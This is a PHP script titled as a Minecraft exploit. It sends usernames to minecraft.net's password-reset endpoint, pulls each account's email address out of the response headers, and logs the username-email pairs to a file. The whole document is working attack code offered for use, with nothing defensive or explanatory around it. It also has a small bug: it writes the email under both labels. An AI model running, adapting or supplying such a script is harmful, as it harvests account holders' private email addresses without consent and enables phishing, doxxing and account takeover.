MineCraft Exploit: Username to Email Resolver

<?php
set_time_limit ( 0 );
if (!isset( $_GET [ 'user' ])) {
    die( 'No username.' );
}
$user = $_GET['user'];
$postdata  = array( 'authenticityToken'  =>  get_token() ,  'username'  =>  $user );
$postdata  =  http_build_query ( $postdata );
$ch  =  curl_init ( 'https://minecraft.net/resetpassword' );
curl_setopt ( $ch ,  CURLOPT_RETURNTRANSFER  ,  true   );
curl_setopt ( $ch ,  CURLOPT_FOLLOWLOCATION  ,  false  );
curl_setopt ( $ch ,  CURLOPT_SSL_VERIFYPEER  ,  false  );
curl_setopt ( $ch ,  CURLOPT_REFERER         ,  'https://minecraft.net/resetpassword'    );
curl_setopt ( $ch ,  CURLOPT_TIMEOUT         ,  30     );
curl_setopt ( $ch ,  CURLOPT_HEADER          ,  true   );
curl_setopt ( $ch ,  CURLOPT_POST            ,  true   );
curl_setopt ( $ch ,  CURLOPT_COOKIEFILE      ,  'cookies.txt'  );
curl_setopt ( $ch ,  CURLOPT_POSTFIELDS      ,  $postdata    );
$response_headers  =  curl_exec ( $ch );
curl_close ( $ch );
$jar = explode('&email=', $response_headers);
$jar = explode("\n", $jar[1]);
$email = urldecode($jar[0]);
save_email ( $email, $user );
echo "{$user}:{$email} <font color='#00FF00'>Saved!</font>";

# Functions
function  get_token () {
     $ch  =  curl_init ( 'https://minecraft.net/resetpassword' );
     curl_setopt ( $ch ,  CURLOPT_RETURNTRANSFER  ,  true   );
     curl_setopt ( $ch ,  CURLOPT_FOLLOWLOCATION  ,  false  );
     curl_setopt ( $ch ,  CURLOPT_TIMEOUT         ,  30     );
     curl_setopt ( $ch ,  CURLOPT_SSL_VERIFYPEER  ,  false  );
     curl_setopt ( $ch ,  CURLOPT_COOKIEJAR       ,  'cookies.txt'  );
     $contents  =  curl_exec ( $ch );
     curl_close ( $ch );

     $start  =  '<input type="hidden" name="authenticityToken" value="' ;
     $end    =  '">' ;

    return  string_between ( $contents ,  $start ,  $end );
}
function  save_email ( $email, $user ) {
    if (!empty( $email )) {
         $data  .=  'Username: ' . $email . PHP_EOL ;
         $data  .=  'E-Mail: ' . $email . PHP_EOL ;
         $data  .=  '----------------------------------------' . PHP_EOL ;
         file_put_contents ( 'logs.txt' ,  $data ,  FILE_APPEND );
    }
}
function  string_between ( $string ,  $start ,  $end ) {
     $fragments  =  explode ( $start ,  $string ,  2 );
    if (isset( $fragments [ 1 ])) {
         $fragments  =  explode ( $end ,  $fragments [ 1 ],  2 );
        return  $fragments [ 0 ];
    }
    return  false ;
}
?>